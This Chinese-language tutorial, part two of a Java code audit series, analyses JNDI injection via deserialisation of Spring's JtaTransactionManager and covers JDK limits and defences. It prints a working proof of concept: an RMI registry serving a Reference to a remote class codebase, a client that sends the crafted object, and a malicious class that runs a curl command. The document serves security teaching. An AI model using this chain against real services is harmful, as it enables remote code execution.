从零开始java代码审计系列(二)
字数 1448 2025-08-29 08:32:09

Java代码审计系列(二):JNDI注入漏洞分析与复现

1. 漏洞概述

JNDI注入是一种利用Java命名和目录接口(JNDI)功能的安全漏洞,攻击者可以通过控制JNDI查找的参数,使应用程序加载并执行恶意代码。本教学文档将详细分析Spring框架中的JNDI注入漏洞原理,并提供完整的复现过程。

2. 核心概念

2.1 JNDI (Java Naming and Directory Interface)

  • JNDI是Java提供的API,用于查找和访问各种命名和目录服务
  • 功能:将名称与对象绑定,提供统一的接口访问不同资源
  • 类比:类似于JDBC构建在抽象层上,增加程序灵活性

2.2 RMI (Remote Method Invocation)

  • Java提供的分布式应用API,实现远程方法调用(RPC)
  • 允许一个JVM下的对象调用其他JVM下的远程对象
  • 核心特性:如果当前JVM没有某个类的定义,会从远程URL下载class文件

3. 漏洞原理分析

3.1 漏洞触发链

  1. 反序列化入口JtaTransactionManager类的readObject方法

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        this.jndiTemplate = new JndiTemplate();
        this.initUserTransactionAndTransactionManager();
        this.initTransactionSynchronizationRegistry();
    }
    
  2. 调用链展开

    • initUserTransactionAndTransactionManager()
    • lookupUserTransaction(this.userTransactionName)
    • this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class)
  3. 关键点userTransactionName参数可控

    public void setUserTransactionName(String userTransactionName) {
        this.userTransactionName = userTransactionName;
    }
    

3.2 漏洞利用机制

  1. 攻击者构造恶意序列化对象,设置userTransactionName为攻击者控制的RMI地址
  2. 目标应用反序列化时触发lookup方法
  3. RMI服务端返回一个Reference对象,指向攻击者控制的HTTP服务器上的恶意class文件
  4. 目标应用从攻击者服务器下载并执行恶意代码

4. 漏洞复现环境

4.1 环境要求

  • JDK版本:1.7 (原因见5.1节限制说明)
  • 使用测试环境:https://github.com/zerothoughts/spring-jndi

4.2 组件说明

  1. ExploitableServer:接收反序列化对象的服务端

    ServerSocket serverSocket = new ServerSocket(9999);
    ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
    Object object = objectInputStream.readObject();
    
  2. ExploitClient:攻击者客户端

    // 创建RMI Registry
    Registry registry = LocateRegistry.createRegistry(1099);
    
    // 创建指向恶意class的Reference
    Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://127.0.0.1:9987/");
    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
    registry.bind("Object", referenceWrapper);
    
    // 构造恶意对象
    org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
    object.setUserTransactionName("rmi://"+localAddress+":1099/Object");
    
    // 发送给目标
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
    objectOutputStream.writeObject(object);
    
  3. 恶意类ExportObject

    public class ExportObject {
        public ExportObject() {
            try {
                Runtime.getRuntime().exec("curl http://localhost:10000/");
            } catch(Exception e) {
                e.printStackTrace();
            }
        }
    }
    

5. 关键限制与绕过

5.1 JDK版本限制

  • JDK 8u191+限制:设置了com.sun.jndi.ldap.object.trustURLCodebase=false,禁止从远程URL加载class文件
  • 解决方案:使用本地类路径中的类进行利用(如Tomcat中的类)

5.2 绕过方法参考

6. 防御措施

  1. 升级JDK到最新版本
  2. 限制反序列化操作,使用白名单控制可反序列化的类
  3. 设置JVM系统属性com.sun.jndi.rmi.object.trustURLCodebase=false
  4. 对JNDI查找参数进行严格校验和过滤

7. 参考资源

  1. Java安全开发指南
  2. Spring JNDI测试环境
  3. 腾讯安全博客

通过本教学文档,您应该能够全面理解JNDI注入漏洞的原理、利用方式及防御方法,并具备独立复现该漏洞的能力。

Java代码审计系列(二):JNDI注入漏洞分析与复现 1. 漏洞概述 JNDI注入是一种利用Java命名和目录接口(JNDI)功能的安全漏洞,攻击者可以通过控制JNDI查找的参数,使应用程序加载并执行恶意代码。本教学文档将详细分析Spring框架中的JNDI注入漏洞原理,并提供完整的复现过程。 2. 核心概念 2.1 JNDI (Java Naming and Directory Interface) JNDI是Java提供的API,用于查找和访问各种命名和目录服务 功能:将名称与对象绑定,提供统一的接口访问不同资源 类比:类似于JDBC构建在抽象层上,增加程序灵活性 2.2 RMI (Remote Method Invocation) Java提供的分布式应用API,实现远程方法调用(RPC) 允许一个JVM下的对象调用其他JVM下的远程对象 核心特性:如果当前JVM没有某个类的定义,会从远程URL下载class文件 3. 漏洞原理分析 3.1 漏洞触发链 反序列化入口 : JtaTransactionManager 类的 readObject 方法 调用链展开 : initUserTransactionAndTransactionManager() lookupUserTransaction(this.userTransactionName) this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class) 关键点 : userTransactionName 参数可控 3.2 漏洞利用机制 攻击者构造恶意序列化对象,设置 userTransactionName 为攻击者控制的RMI地址 目标应用反序列化时触发 lookup 方法 RMI服务端返回一个 Reference 对象,指向攻击者控制的HTTP服务器上的恶意class文件 目标应用从攻击者服务器下载并执行恶意代码 4. 漏洞复现环境 4.1 环境要求 JDK版本:1.7 (原因见5.1节限制说明) 使用测试环境:https://github.com/zerothoughts/spring-jndi 4.2 组件说明 ExploitableServer :接收反序列化对象的服务端 ExploitClient :攻击者客户端 恶意类ExportObject : 5. 关键限制与绕过 5.1 JDK版本限制 JDK 8u191+限制 :设置了 com.sun.jndi.ldap.object.trustURLCodebase=false ,禁止从远程URL加载class文件 解决方案 :使用本地类路径中的类进行利用(如Tomcat中的类) 5.2 绕过方法参考 参考文章: Exploiting JNDI Injections in Java 中文翻译版: JNDI注入漏洞的利用与防御 6. 防御措施 升级JDK到最新版本 限制反序列化操作,使用白名单控制可反序列化的类 设置JVM系统属性 com.sun.jndi.rmi.object.trustURLCodebase=false 对JNDI查找参数进行严格校验和过滤 7. 参考资源 Java安全开发指南 Spring JNDI测试环境 腾讯安全博客 通过本教学文档,您应该能够全面理解JNDI注入漏洞的原理、利用方式及防御方法,并具备独立复现该漏洞的能力。